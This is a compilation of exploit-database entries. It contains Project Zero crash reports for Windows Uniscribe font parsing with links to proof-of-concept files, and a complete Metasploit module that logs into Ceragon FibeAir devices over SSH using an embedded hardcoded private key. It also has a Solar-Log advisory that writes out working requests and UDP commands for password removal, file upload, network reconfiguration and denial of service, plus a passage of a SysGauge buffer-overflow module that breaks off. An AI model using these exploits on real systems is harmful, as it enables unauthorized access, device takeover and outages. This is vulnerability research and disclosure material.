0929a03a  ???????? ???????? ???????? ????????
0929a04a  ???????? ???????? ???????? ????????
0:000> dd edi
092b7914  ???????? ???????? ???????? ????????
092b7924  ???????? ???????? ???????? ????????
092b7934  ???????? ???????? ???????? ????????
092b7944  ???????? ???????? ???????? ????????
092b7954  ???????? ???????? ???????? ????????
092b7964  ???????? ???????? ???????? ????????
092b7974  ???????? ???????? ???????? ????????
092b7984  ???????? ???????? ???????? ????????
---

The issue reproduces on Windows 7. It is easiest to reproduce with PageHeap enabled, but it is also possible to observe a crash in a default system configuration. In order to reproduce the problem with the provided samples, it might be necessary to use a custom program which displays all of the font's glyphs at various point sizes.

Attached is a proof of concept malformed font file which triggers the crash.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41650.zip
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1027

We have encountered a crash in the Windows Uniscribe user-mode library, in an unnamed function called by USP10!ttoGetTableData, while trying to display text using a corrupted font file:

---
(46ac.5f40): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0945afce ebx=00000100 ecx=09463000 edx=00000004 esi=0945afba edi=0946006b
eip=75202dae esp=0059f634 ebp=0059f668 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
USP10!ttoGetTableData+0xc4e:
75202dae 668939          mov     word ptr [ecx],di        ds:002b:09463000=????
0:000> kb
ChildEBP RetAddr  Args to Child              
0059f668 75202bf8 0945af96 09462fb8 0059f688 USP10!ttoGetTableData+0xc4e
0059f690 752021b1 09462fb8 09462fb8 0945ad42 USP10!ttoGetTableData+0xa98
0059f6a4 751f7274 09458fd0 094589d0 0059f734 USP10!ttoGetTableData+0x51
0059f704 751f7044 0000001a 093f3d88 09401fa8 USP10!LoadTTOArabicShapeTables+0x184
0059f718 751fc638 51010f6c 093f3d88 0059f744 USP10!LoadArabicShapeTables+0xd4
0059f728 751fc5c8 51010f6c 094587d0 093e6124 USP10!ArabicSimpleLoadTbl+0x28
0059f744 751ea5a0 51010f6c 751e5348 0000001a USP10!ArabicLoadTbl+0xa8
0059f76c 751ea692 093e6124 51010f6c 0000001a USP10!UpdateCache+0xb0
0059f780 751f152d 51010f6c 093e6000 751f15db USP10!ScriptCheckCache+0x62
0059f78c 751f15db 00000001 00000001 00000000 USP10!GetShapeFunction+0xd
0059f7c4 751f2b14 00000001 00000001 0059f844 USP10!RenderItemNoFallback+0x5b
0059f7f0 751f2da2 00000001 00000001 0059f844 USP10!RenderItemWithFallback+0x104
0059f814 751f4339 00000001 0059f844 093e6124 USP10!RenderItem+0x22
0059f858 751e7a04 000004a0 00000400 51010f6c USP10!ScriptStringAnalyzeGlyphs+0x1e9
0059f870 76ca5465 51010f6c 093e6040 0000000a USP10!ScriptStringAnalyse+0x284
0059f8bc 76ca5172 51010f6c 0059fca4 0000000a LPK!LpkStringAnalyse+0xe5
0059f9b8 76ca1410 51010f6c 00000000 00000000 LPK!LpkCharsetDraw+0x332
0059f9ec 763c18b0 51010f6c 00000000 00000000 LPK!LpkDrawTextEx+0x40
0059fa2c 763c22bf 51010f6c 00000070 00000000 USER32!DT_DrawStr+0x13c
0059fa78 763c21f2 51010f6c 0059fca4 0059fcb8 USER32!DT_GetLineBreak+0x78
0059fb24 763c14d4 51010f6c 00000000 0000000a USER32!DrawTextExWorker+0x255
0059fb48 763c2475 51010f6c 0059fca4 ffffffff USER32!DrawTextExW+0x1e
0059fb7c 00336a5c 51010f6c 0059fca4 ffffffff USER32!DrawTextW+0x4d
[...]
0:000> dd ecx
09463000  ???????? ???????? ???????? ????????
09463010  ???????? ???????? ???????? ????????
09463020  ???????? ???????? ???????? ????????
09463030  ???????? ???????? ???????? ????????
09463040  ???????? ???????? ???????? ????????
09463050  ???????? ???????? ???????? ????????
09463060  ???????? ???????? ???????? ????????
09463070  ???????? ???????? ???????? ????????
0:000> !heap -p -a ecx
    address 09463000 found in
    _DPH_HEAP_ROOT @ 93e1000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                 93e2fa4:          9462fb8               48 -          9462000             2000
    5e3e8e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
    77580f3e ntdll!RtlDebugAllocateHeap+0x00000030
    7753ab47 ntdll!RtlpAllocateHeap+0x000000c4
    774e3431 ntdll!RtlAllocateHeap+0x0000023a
    5fcca792 vrfcore!VfCoreRtlAllocateHeap+0x00000016
    751f6644 USP10!UspAllocCache+0x00000054
    751f725b USP10!LoadTTOArabicShapeTables+0x0000016b
    751f7044 USP10!LoadArabicShapeTables+0x000000d4
    751fc638 USP10!ArabicSimpleLoadTbl+0x00000028
    751fc5c8 USP10!ArabicLoadTbl+0x000000a8
    751ea5a0 USP10!UpdateCache+0x000000b0
    751ea692 USP10!ScriptCheckCache+0x00000062
    751f152d USP10!GetShapeFunction+0x0000000d
    751f2b14 USP10!RenderItemWithFallback+0x00000104
    751f2da2 USP10!RenderItem+0x00000022
    751f4339 USP10!ScriptStringAnalyzeGlyphs+0x000001e9
    751e7a04 USP10!ScriptStringAnalyse+0x00000284
    76ca5465 LPK!LpkStringAnalyse+0x000000e5
    76ca5172 LPK!LpkCharsetDraw+0x00000332
    76ca1410 LPK!LpkDrawTextEx+0x00000040
    763c18b0 USER32!DT_DrawStr+0x0000013c
    763c22bf USER32!DT_GetLineBreak+0x00000078
    763c21f2 USER32!DrawTextExWorker+0x00000255
    763c14d4 USER32!DrawTextExW+0x0000001e
    763c2475 USER32!DrawTextW+0x0000004d
[...]
---

The issue reproduces on Windows 7. It is easiest to reproduce with PageHeap enabled, but it is also possible to observe a crash in a default system configuration. In order to reproduce the problem with the provided samples, it might be necessary to use a custom program which displays all of the font's glyphs at various point sizes.

Attached is an archive with 3 crashing samples.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41651.zip
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1028

We have encountered a crash in the Windows Uniscribe user-mode library, in the USP10!UpdateGlyphFlags function, while trying to display text using a corrupted font file:

---
(5268.3b50): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00003fe0 ebx=0000ffff ecx=000007fc edx=0050ee58 esi=0000f803 edi=0931c020
eip=75230c90 esp=0050eb48 ebp=0050eb50 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
USP10!UpdateGlyphFlags+0x30:
75230c90 66834c380210    or      word ptr [eax+edi+2],10h ds:002b:09320002=????
0:000> kb
ChildEBP RetAddr  Args to Child              
0050eb50 752336b3 42555347 0050ee58 00000000 USP10!UpdateGlyphFlags+0x30
0050ed2c 7522f29f 42555347 0050ee68 0050ee3c USP10!ApplyFeatures+0x553
0050ed78 7522b083 00000000 00000000 00000000 USP10!SubstituteOtlGlyphs+0x1bf
0050eda4 75226d5c 0050edd4 0050ee4c 0050ee68 USP10!ShapingLibraryInternal::SubstituteOtlGlyphsWithLanguageFallback+0x23
0050f010 7521548a 0050f11c 0050f148 0050f130 USP10!GenericEngineGetGlyphs+0xa1c
0050f0d0 7521253f 0050f11c 0050f148 0050f130 USP10!ShapingGetGlyphs+0x36a
0050f1bc 751e5c6f 7901150c 09316124 09316318 USP10!ShlShape+0x2ef
0050f200 751f167a 7901150c 09316124 09316318 USP10!ScriptShape+0x15f
0050f260 751f2b14 00000000 00000000 0050f2e0 USP10!RenderItemNoFallback+0xfa
0050f28c 751f2da2 00000000 00000000 0050f2e0 USP10!RenderItemWithFallback+0x104
0050f2b0 751f4339 00000000 0050f2e0 09316124 USP10!RenderItem+0x22
0050f2f4 751e7a04 000004a0 00000400 7901150c USP10!ScriptStringAnalyzeGlyphs+0x1e9
0050f30c 76ca5465 7901150c 09316040 0000000a USP10!ScriptStringAnalyse+0x284
0050f358 76ca5172 7901150c 0050f740 0000000a LPK!LpkStringAnalyse+0xe5
0050f454 76ca1410 7901150c 00000000 00000000 LPK!LpkCharsetDraw+0x332
0050f488 763c18b0 7901150c 00000000 00000000 LPK!LpkDrawTextEx+0x40
0050f4c8 763c22bf 7901150c 00000070 00000000 USER32!DT_DrawStr+0x13c
0050f514 763c21f2 7901150c 0050f740 0050f754 USER32!DT_GetLineBreak+0x78
0050f5c0 763c14d4 7901150c 00000000 0000000a USER32!DrawTextExWorker+0x255
0050f5e4 763c2475 7901150c 0050f740 ffffffff USER32!DrawTextExW+0x1e
0050f618 001a6a5c 7901150c 0050f740 ffffffff USER32!DrawTextW+0x4d
[...]
0:000> !heap -p -a eax+edi
    address 09320000 found in
    _DPH_HEAP_ROOT @ 9311000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                 9311f38:          931c000             4000 -          931b000             6000
    5e3e8e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
    77580f3e ntdll!RtlDebugAllocateHeap+0x00000030
    7753ab47 ntdll!RtlpAllocateHeap+0x000000c4
    774e3431 ntdll!RtlAllocateHeap+0x0000023a
    5dbea792 vrfcore!VfCoreRtlAllocateHeap+0x00000016
    751f68fa USP10!UspAllocStatic+0x000000aa
    751f6cea USP10!UspAcquireTempAlloc+0x0000002a
    751e8778 USP10!ScriptRecordDigitSubstitution+0x00000028
    76ca5304 LPK!ReadNLSScriptSettings+0x00000074
    76ca53b8 LPK!LpkStringAnalyse+0x00000038
    76ca5172 LPK!LpkCharsetDraw+0x00000332
    76ca1410 LPK!LpkDrawTextEx+0x00000040
    763c18b0 USER32!DT_DrawStr+0x0000013c
    763c22bf USER32!DT_GetLineBreak+0x00000078
    763c21f2 USER32!DrawTextExWorker+0x00000255
    763c14d4 USER32!DrawTextExW+0x0000001e
    763c2475 USER32!DrawTextW+0x0000004d
[...]
---

The issue reproduces on Windows 7. It is easiest to reproduce with PageHeap enabled, but it is also possible to observe a crash in a default system configuration. In order to reproduce the problem with the provided samples, it might be necessary to use a custom program which displays all of the font's glyphs at various point sizes.

Attached is an archive with 3 crashing samples.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41652.zip
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1029

We have encountered a number of crashes in the Windows Uniscribe user-mode library, while trying to display text using a corrupted font file. While crashes in this specific family take various shapes and forms, they all occur in functions directly or indirectly called by USP10!BuildFSM. An example crash excerpt is shown below:

---
(5020.4074): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=000000cc ebx=0964b270 ecx=0964c6aa edx=0038f409 esi=00000782 edi=0963d7d0
eip=751f968d esp=0038f3bc ebp=0038f468 iopl=0         nv up ei pl nz ac pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010216
USP10!BuildDynamicStatesStaticInputs+0x45d:
751f968d 668944b302      mov     word ptr [ebx+esi*4+2],ax ds:002b:0964d07a=????
0:000> kb
ChildEBP RetAddr  Args to Child              
0038f468 751f7a33 00000048 09649700 0000001a USP10!BuildDynamicStatesStaticInputs+0x45d
0038f6a0 751f7076 095d3d88 095e1fa8 0038f6cc USP10!BuildFSM+0x193
0038f6b0 751fc5f4 c10125b4 095d3d88 095c6124 USP10!LoadArabicShapeTables+0x106
0038f6cc 751ea5a0 c10125b4 0963d7d0 0000001a USP10!ArabicLoadTbl+0xd4
0038f6f0 751ea692 095c6124 c10125b4 0000001a USP10!UpdateCache+0xb0
0038f704 751f152d c10125b4 095c6000 751f15db USP10!ScriptCheckCache+0x62
0038f710 751f15db 00000001 00000001 095c62e8 USP10!GetShapeFunction+0xd
0038f748 751f2b14 00000001 00000000 0038f7c8 USP10!RenderItemNoFallback+0x5b
0038f774 751f2da2 00000001 00000000 0038f7c8 USP10!RenderItemWithFallback+0x104
0038f798 751f4339 00000000 0038f7c8 095c6124 USP10!RenderItem+0x22
0038f7dc 751e7a04 000004a0 00000400 c10125b4 USP10!ScriptStringAnalyzeGlyphs+0x1e9
0038f7f4 76ca5465 c10125b4 095c6040 0000000a USP10!ScriptStringAnalyse+0x284
0038f840 76ca5172 c10125b4 0038fc28 0000000a LPK!LpkStringAnalyse+0xe5
0038f93c 76ca1410 c10125b4 00000000 00000000 LPK!LpkCharsetDraw+0x332
0038f970 763c18b0 c10125b4 00000000 00000000 LPK!LpkDrawTextEx+0x40
0038f9b0 763c22bf c10125b4 00000040 00000000 USER32!DT_DrawStr+0x13c
0038f9fc 763c21f2 c10125b4 0038fc28 0038fc3c USER32!DT_GetLineBreak+0x78
0038faa8 763c14d4 c10125b4 00000000 0000000a USER32!DrawTextExWorker+0x255
0038facc 763c2475 c10125b4 0038fc28 ffffffff USER32!DrawTextExW+0x1e
0038fb00 01196a5c c10125b4 0038fc28 ffffffff USER32!DrawTextW+0x4d
[...]
0:000> !heap -p -a ebx
    address 0964b270 found in
    _DPH_HEAP_ROOT @ 95c1000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                 95c2ed4:          964b270             1d8c -          964b000             3000
    5dbb8e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
    77580f3e ntdll!RtlDebugAllocateHeap+0x00000030
    7753ab47 ntdll!RtlpAllocateHeap+0x000000c4
    774e3431 ntdll!RtlAllocateHeap+0x0000023a
    5fcca792 vrfcore!VfCoreRtlAllocateHeap+0x00000016
    751f6644 USP10!UspAllocCache+0x00000054
    751f7975 USP10!BuildFSM+0x000000d5
    751f7076 USP10!LoadArabicShapeTables+0x00000106
    751fc5f4 USP10!ArabicLoadTbl+0x000000d4
    751ea5a0 USP10!UpdateCache+0x000000b0
    751ea692 USP10!ScriptCheckCache+0x00000062
    751f152d USP10!GetShapeFunction+0x0000000d
    751f2b14 USP10!RenderItemWithFallback+0x00000104
    751f2da2 USP10!RenderItem+0x00000022
    751f4339 USP10!ScriptStringAnalyzeGlyphs+0x000001e9
    751e7a04 USP10!ScriptStringAnalyse+0x00000284
    76ca5465 LPK!LpkStringAnalyse+0x000000e5
    76ca5172 LPK!LpkCharsetDraw+0x00000332
    76ca1410 LPK!LpkDrawTextEx+0x00000040
    763c18b0 USER32!DT_DrawStr+0x0000013c
    763c22bf USER32!DT_GetLineBreak+0x00000078
    763c21f2 USER32!DrawTextExWorker+0x00000255
    763c14d4 USER32!DrawTextExW+0x0000001e
    763c2475 USER32!DrawTextW+0x0000004d
[...]
---

The issue reproduces on Windows 7. It is easiest to reproduce with PageHeap enabled, but it is also possible to observe a crash in a default system configuration. In order to reproduce the problem with the provided samples, it might be necessary to use a custom program which displays all of the font's glyphs at various point sizes.

Attached is an archive with 2 crashing samples.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41653.zip
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'net/ssh'

class MetasploitModule < Msf::Exploit::Remote
  include Msf::Auxiliary::Report

  Rank = ExcellentRanking

  def initialize(info = {})
    super(update_info(info, {
      'Name'        => 'Ceragon FibeAir IP-10 SSH Private Key Exposure',
      'Description' => %q{
        Ceragon ships a public/private key pair on FibeAir IP-10 devices
        that allows passwordless authentication to any other IP-10 device.
        Since the key is easily retrievable, an attacker can use it to
        gain unauthorized remote access as the "mateidu" user.
      },
      'Platform'    => 'unix',
      'Arch'        => ARCH_CMD,
      'Privileged'  => false,
      'Targets'     => [ [ "Universal", {} ] ],
      'Payload'     =>
        {
          'Compat'  => {
            'PayloadType'    => 'cmd_interact',
            'ConnectionType' => 'find',
          },
        },
      'Author'      => [
        'hdm', # Discovery
        'todb' # Metasploit module and advisory text (mostly copy-paste)
        ],
      'License'     => MSF_LICENSE,
      'References'  =>
        [
          ['CVE', '2015-0936'],
          ['URL', 'https://gist.github.com/todb-r7/5d86ecc8118f9eeecc15'], # Original Disclosure
        ],
      'DisclosureDate' => "Apr 01 2015", # Not a joke
      'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
      'DefaultTarget' => 0
    }))

    register_options(
      [
        # Since we don't include Tcp, we have to register this manually
        Opt::RHOST(),
        Opt::RPORT(22)
      ], self.class
    )

    register_advanced_options(
      [
        OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
        OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
      ]
    )

  end

  # helper methods that normally come from Tcp
  def rhost
    datastore['RHOST']
  end
  def rport
    datastore['RPORT']
  end

  def do_login(user)
    factory = Rex::Socket::SSHFactory.new(framework,self, datastore['Proxies'])
    opt_hash = {
      auth_methods:       ['publickey'],
      port:               rport,
      key_data:           [ key_data ],
      use_agent:          false,
      config:             false,
      proxy:              factory,
      non_interactive:    true
    }
    opt_hash.merge!(:verbose => :debug) if datastore['SSH_DEBUG']
    begin
      ssh_socket = nil
      ::Timeout.timeout(datastore['SSH_TIMEOUT']) do
        ssh_socket = Net::SSH.start(rhost, user, opt_hash)
      end
    rescue Rex::ConnectionError
      return nil
    rescue Net::SSH::Disconnect, ::EOFError
      print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"
      return nil
    rescue ::Timeout::Error
      print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
      return nil
    rescue Net::SSH::AuthenticationFailed
      print_error "#{rhost}:#{rport} SSH - Failed authentication"
      return nil
    rescue Net::SSH::Exception => e
      print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
      return nil
    end

    if ssh_socket

      # Create a new session from the socket, then dump it.
      conn = Net::SSH::CommandStream.new(ssh_socket, '/bin/sh', true)
      ssh_socket = nil

      return conn
    else
      return nil
    end
  end

  def exploit
    conn = do_login("mateidu")
    if conn
      print_good "#{rhost}:#{rport} - Successful login"
      handler(conn.lsock)
    end
  end

  def key_data
    <<EOF
-----BEGIN RSA PRIVATE KEY-----
MIICWwIBAAKBgQDBEh0OUdoiplc0P+XW8VPu57etz8O9eHbLHkQW27EZBEdXEYxr
MOFXi+PkA0ZcNDBRgjSJmHpo5WsPLwj/L3/L5gMYK+yeqsNu48ONbbqzZsFdaBQ+
IL3dPdMDovYo7GFVyXuaWMQ4hgAJEc+kk1hUaGKcLENQf0vEyt01eA/k6QIBIwKB
gQCwhZbohVm5R6AvxWRsv2KuiraQSO16B70ResHpA2AW31crCLrlqQiKjoc23mw3
CyTcztDy1I0stH8j0zts+DpSbYZnWKSb5hxhl/w96yNYPUJaTatgcPB46xOBDsgv
4Lf4GGt3gsQFvuTUArIf6MCJiUn4AQA9Q96QyCH/g4mdiwJBAPHdYgTDiQcpUAbY
SanIpq7XFeKXBPgRbAN57fTwzWVDyFHwvVUrpqc+SSwfzhsaNpE3IpLD9RqOyEr6
B8YrC2UCQQDMWrUeNQsf6xQer2AKw2Q06bTAicetJWz5O8CF2mcpVFYc1VJMkiuV
93gCvQORq4dpApJYZxhigY4k/f46BlU1AkAbpEW3Zs3U7sdRPUo/SiGtlOyO7LAc
WcMzmOf+vG8+xesCDOJwIj7uisaIsy1/cLXHdAPzhBwDCQDyoDtnGty7AkEAnaUP
YHIP5Ww0F6vcYBMSybuaEN9Q5KfXuPOUhIPpLoLjWBJGzVrRKou0WeJElPIJX6Ll
7GzJqxN8SGwqhIiK3wJAOQ2Hm068EicG5WQoS+8+KIE/SVHWmFDvet+f1vgDchvT
uPa5zx2eZ2rxP1pXHAdBSgh799hCF60eZZtlWnNqLg==
-----END RSA PRIVATE KEY-----
EOF
  end
end
            
SEC Consult Vulnerability Lab Security Advisory < 20170322-0 >
=======================================================================
              title: Multiple vulnerabilities
            product: Solare Datensysteme GmbH
                     Solar-Log 250/300/500/800e/1000/1000 PM+/1200/2000
 vulnerable version: Firmware 2.8.4-56 / 3.5.2-85
      fixed version: Firmware 3.5.3-86
         CVE number: -
             impact: Critical
           homepage: http://www.solar-log.com/de/home.html
              found: 2017-01-23
                 by: T. Weber (Office Vienna)
                     SEC Consult Vulnerability Lab 

                     An integrated part of SEC Consult
                     Bangkok - Berlin - Linz - Luxembourg - Montreal - Moscow
                     Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich

                     https://www.sec-consult.com
=======================================================================

Vendor description:
-------------------
"Solare Datensysteme GmbH (SDS) is headquartered in the southern German city 
of Binsdorf and specialises in the development and sale of monitoring systems 
for photovoltaic plants. The company was founded in 2007 by Thomas Preuhs and 
Jörg Karwath and was created from the company "TOP Solare Datensysteme". This 
company had been developing and selling the "SolarLogâ„¢" product range since 
2005. Our core competence covers innovative products with short development 
cycles and an excellent cost/performance ratio. Our developments have the 
outstanding characteristics of high customer value, simple operation and 
universal application without requiring time-consuming installation of 
software."

Source: http://www.solar-log.uk/gb-en/unternehmen/ueber-uns.html


Business recommendation:
------------------------
SEC Consult recommends to immediately install the available firmware update
and restrict network access.

Furthermore, this device should not be used in production until a thorough 
security review has been performed by security professionals and all 
identified issues have been resolved.


Vulnerability overview/description:
-----------------------------------
1) Unauthenticated Download of Configuration including Device-Password
This vulnerability is present at least on firmware 2.8.4-56.

An attacker can download the configuration file without authentication and 
extract the password to login to Solar-Log. Therefore, an attacker can gain
administrative access to such a device without prior authentication.


2) Cross-Site Request Forgery (CSRF)
This vulnerability is present at least on firmware 3.5.2-85.

A CSRF vulnerability enables an attacker to remove/modify a password of a
device by luring an authenticated user to click on a crafted link. An attacker
is able to take over the device by exploiting this vulnerability.


3) Unauthenticated Arbitrary File Upload
This vulnerability is present at least on firmware 3.5.2-85.

Any files can be uploaded on the Solar-Log by using a crafted POST request. An
attacker can start a malicious website or use the Solar-Log as share to store
any (illegal) contents. 


4) Information Disclosure (CVE-2001-1341)
All Solar-Log devices in the current firmware versions are prone to this 
information disclosure vulnerability. (2.8.4-56 / 3.5.2-85)

The network configuration of the internal network including the gateway and
the MAC address of the device are leaked.

All details of the IPC@CHIP from Beck IPC (https://www.beck-ipc.com/) like RTOS
version and serial number are leaked as well.


5) Unauthenticated Change of Network-Configuration
All Solar-Log devices in the current firmware versions are prone to this 
vulnerability. (2.8.4-56 / 3.5.2-85)

Since the Solar-Log is based on the chips of Beck IPC a UDP configuration 
server is enabled by default. This server allows to change the IP configuration 
over a specific UDP port. This functionality can be protected with a password, 
but this is not set in the affected firmware versions.

The MAC address, which is leaked by 4), is needed to configure the device.
An attacker can reconfigure the device without any authentication.


6) Unauthenticated Denial of Service
All Solar-Log devices in the current firmware versions are prone to this 
vulnerability. (2.8.4-56 / 3.5.2-85)

The Beck IPC UDP configuration server on Solar-Log device can be attacked with 
arbitrary UDP packets to permanently disable the Solar-Log until a manual 
reboot is triggered.  


7) Potential Unauthenticated Reprogram of IPC@CHIP Flash Memory
Potentially available in all Solar-Log devices in the current firmware 
versions. (2.8.4-56 / 3.5.2-85)

Since the "CHIPTOOL" from BECK IPC enables a developer to reprogram the chip
over the network via UDP, a missing password can also enable an attacker to do 
this on a Solar-Log device. This action can lead to a simple Denial of Service
or a complex botnet of Solar-Log devices!


Proof of concept:
-----------------
1) Unauthenticated Download of Configuration including Device-Password
The full configuration is exposed by sending the following GET-request:
-------------------------------------------------------------------------------
GET /data/misc.dat HTTP/1.1
Host: <IP-Address>
[...]
-------------------------------------------------------------------------------
Since the response contains the password, an attacker can easily take
control over the device.


2) Cross-Site Request Forgery
By luring the user to issue the following request, the password is removed:
-------------------------------------------------------------------------------
POST /setjp HTTP/1.1
Host: <IP-Address>

preval=none;postval=105;{"221":"0","223":"0","225":"1","287":"","288":{"0":"0","1":"0"},"440":"0"}
-------------------------------------------------------------------------------

By luring the user to issue the following request, the password is modified:
-------------------------------------------------------------------------------
POST /setjp HTTP/1.1
Host: <IP-Address>

preval=none;postval=105;{"221":"0","223":"1","224":"<New-Password>","225":"1","287":"","288":{"0":"0","1":"0"},"440":"0"}
-------------------------------------------------------------------------------


3) Unauthenticated Arbitrary File Upload
Any files can be uploaded by using the following POST-request:
-------------------------------------------------------------------------------
POST /menu/d_debug_db.html HTTP/1.1
Host: <IP-Address>
[...]
Referer: http://<IP-Address>/menu/d_debug_db.html
Content-Type: multipart/form-data; boundary=--------301473270
Content-Length: 341

----------301473270
Content-Disposition: form-data; name="DESTINATION-PATH"

PoC.html
----------301473270
Content-Disposition: form-data; name="FILE-CONTENT"; filename="file.txt"
Content-Type: text/plain

<html>
 <head>
 <title>SEC-Test</title>
 </head>
 <body>
 <script>alert("XSS-PoC");</script>
 </body>
</html>
----------301473270
Content-Disposition: form-data; name="L_UPLOAD"

Hochladen
----------301473270--
-------------------------------------------------------------------------------

The uploaded content can be reached by this link:
http://<IP-Address>/PoC.html


4) Information Disclosure (CVE-2001-1341)
This vulnerability is a known issue to IPC@CHIP since 2001.
See: https://www.securityfocus.com/bid/2767/info

The following URL can be used to open the "ChipCfg" file on a Solar-Log device:
http://<IP-Address>/ChipCfg

If an attacker is in the same subnet, he can directly request this information 
from the device (the device responds to multicast) with the following command: 
$ echo -n "0 1 A" >/dev/udp/<Target-IP>/8001


5) Unauthenticated Change of Network-Configuration
By using the following command a change of the network configuration can be
triggerd unauthenticated on UDP port 8001:
$ echo -n "<MAC> 4 2 0 <Desired-IP-Address> <Desired-Netmask> <Desired-Gateway>" >/dev/udp/<Target-IP>/8001

Example: 
$ echo -n "001122334455 4 2 0 192.168.4.5 255.255.255.0 192.168.4.254" >/dev/udp/192.168.4.9/8001


6) Unauthenticated Denial of Service
By using arbitrary null characters the IPC@CHIP can be pushed into an
undesired state:
$ echo -n "<MAC> 0 <IP-Address> <Netmask> <Gateway> DDDD\0\0" >/dev/udp/<Target-IP>/8001

Example: 
$ echo -n "001122334455 0 192.168.4.5 255.255.255.0 192.168.4.254 DDDD\0\0" >/dev/udp/192.168.4.5/8001


7) Potential Unauthenticated Reprogram of IPC@CHIP Flash Memory
This action was not tested against the device. Such attack can brick the 
Solar-Log. The worst case scenario would be a botnet exploiting this vulnerability.

A network-dump of the "CHIPTOOL" would be enough to reconstruct the required
UDP packets for the attack.

 
Vulnerable / tested versions:
-----------------------------
Solar-Log 1200 - 3.5.2-85
Solar-Log 800e - 2.8.4-56

Since the firmware for the other Solar-Log devices is exactly the same,  
other devices with the same versions are also prone to the vulnerabilities!


Vendor contact timeline:
------------------------
2017-02-02: Contacting vendor via info@solar-log.com, support@solar-log.com
            and berlin@solar-log.com.
2017-02-14: Vendor responds and requests the advisory unencrypted; Sent the
            advisory unencrypted to the vendor.
2017-02-20: Asked for an update.
2017-02-21: Vendor states that the patch is in development. The update will
            be published before 2017-03-24.
2017-03-14: Asked for a status update. Vendor states that the update will
            be available on 2017-03-21.
2017-03-20: Vendor sends release notes. New firmware version is 3.5.3 build
            86 for all affected Solar-Log devices. 
            Informing the vendor that the release of the advisory is set to 
            2017-03-22.
2017-03-22: Public advisory release.


Solution:
---------
Upgrade to firmware 3.5.3-86
http://www.solar-log.com/de/service-support/downloads/firmware.html


Workaround:
-----------
Restrict network access to the devices.


Advisory URL:
-------------
https://www.sec-consult.com/en/Vulnerability-Lab/Advisories.htm


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

SEC Consult Vulnerability Lab

SEC Consult
Bangkok - Berlin - Linz - Luxembourg - Montreal - Moscow
Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich

About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It
ensures the continued knowledge gain of SEC Consult in the field of network
and application security to stay ahead of the attacker. The SEC Consult
Vulnerability Lab supports high-quality penetration testing and the evaluation
of new offensive and defensive technologies for our customers. Hence our
customers obtain the most current information about vulnerabilities and valid
recommendation about the risk profile of new technologies.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Interested to work with the experts of SEC Consult?
Send us your application https://www.sec-consult.com/en/Career.htm

Interested in improving your cyber security with the experts of SEC Consult? 
Contact our local offices https://www.sec-consult.com/en/About/Contact.htm
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Mail: research at sec-consult dot com
Web: https://www.sec-consult.com
Blog: http://blog.sec-consult.com
Twitter: https://twitter.com/sec_consult

EOF T. Weber / @2017
            
#
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
#

class MetasploitModule < Msf::Exploit::Remote
  include Msf::Exploit::Remote::TcpServer

  Rank = NormalRanking

  def initialize()
    super(
      'Name'           => 'SysGauge SMTP Validation Buffer Overflow',
      'Description'    => %q{
        This module will setup an SMTP server expecting a connection from SysGauge 1.5.18
        via its SMTP server validation. The module sends a malicious response along in the
        220 service ready response and exploits the client, resulting in an unprivileged shell.
      },
      'Author'         =>
      [
        'Chris Higgins', # msf Module -- @ch1gg1ns
        'Peter Baris'    # Initial discovery and PoC
      ],
      'License'        => MSF_LICENSE,
      'References'     =>
      [
        [ 'EDB', '41479' ],
      ],
      'DefaultOptions' =>
      {
        'EXITFUNC' => 'thread'
      },
      'Payload'        =>
      {
        'Space' => 306,
        'BadChars' => "\x00\x0a\x0d\x20"
      },
      'Platform'  => 'win',
      'Targets'       =>
      [
        [ 'Windows Universal',
          {
            'Offset' => 176,
            'Ret'    => 0x6527635E # call esp # QtGui4.dll
          }
        ]
      ],
      'Privileged'    => false,
      'DisclosureDate' => 'Feb 28 2017',
      'DefaultTarget' => 0
      )
    register_options(
      [
